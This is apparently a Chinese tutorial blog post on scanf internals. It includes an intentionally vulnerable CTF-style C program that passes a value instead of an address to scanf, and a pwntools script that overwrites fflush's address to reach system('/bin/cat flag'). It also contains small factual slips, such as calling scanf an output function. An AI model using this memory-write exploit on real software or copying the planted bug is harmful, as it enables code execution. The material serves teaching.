scanf深入分析
概述
scanf()是C语言中的一个输出函数。与printf函数一样,都被声明在头文件stdio.h里,因此在使用scanf函数时要加上#include 。(在有一些实现中,printf函数与scanf函数在使用时可以不使用预编译命令#include 。)它是格式输入函数,即按用户指定的格式从键盘上把数据输入到指定的变量之中。
定义
int scanf(const char * restrict format,...);
函数 scanf() 是从标准输入流stdin (标准输入设备,一般指向键盘)中读内容的通用子程序,可以说明的格式读入多个字符,并保存在对应地址的变量中。 函数的第一个参数是格式字符串,它指定了输入的格式,并按照格式说明符解析输入对应位置的信息并存储于可变参数列表中对应的指针所指位置。每一个指针要求非空,并且与字符串中的格式符一一顺次对应。
汇编分析
示例程序(正确写法):
#include <stdio.h>
int main(){
int a;
scanf("%d",&a);
printf("%x\n",&a);
printf("%d\n",a);
return 0;
}
反汇编查看scanf

从汇编代码中可以看出来这里是把a的地址压入栈中。 漏洞程序(经典的错误写法):
#include <stdio.h>
#include <stdlib.h>
int main(){
int a = 0x0804a010;
scanf("%d",a);
fflush(stdin);
printf("Login OK!n");
system("/bin/cat flag");
return 0;
}
a的值0x0804a010是fflush的地址。反汇编查看scanf

这里是把a的值压入栈中。由于a的值没有进行初始化,是一个随机的值。也就是这个压入堆栈的值是一个随机的,由于很多地址是无法写入的,因此很容易导致程序崩溃。
攻击代码
#-*- coding: UTF-8 -*-
#!/usr/bin/python
from pwn import *
p= process('./test')
system_addr = 0x0804857d
payload = p32(system_addr)
p.send(payload)
p.interactive()
运行结果如下

flag的内容我们成功查看到了,也就是system("/bin/cat flag")被成功执行了。
公众号
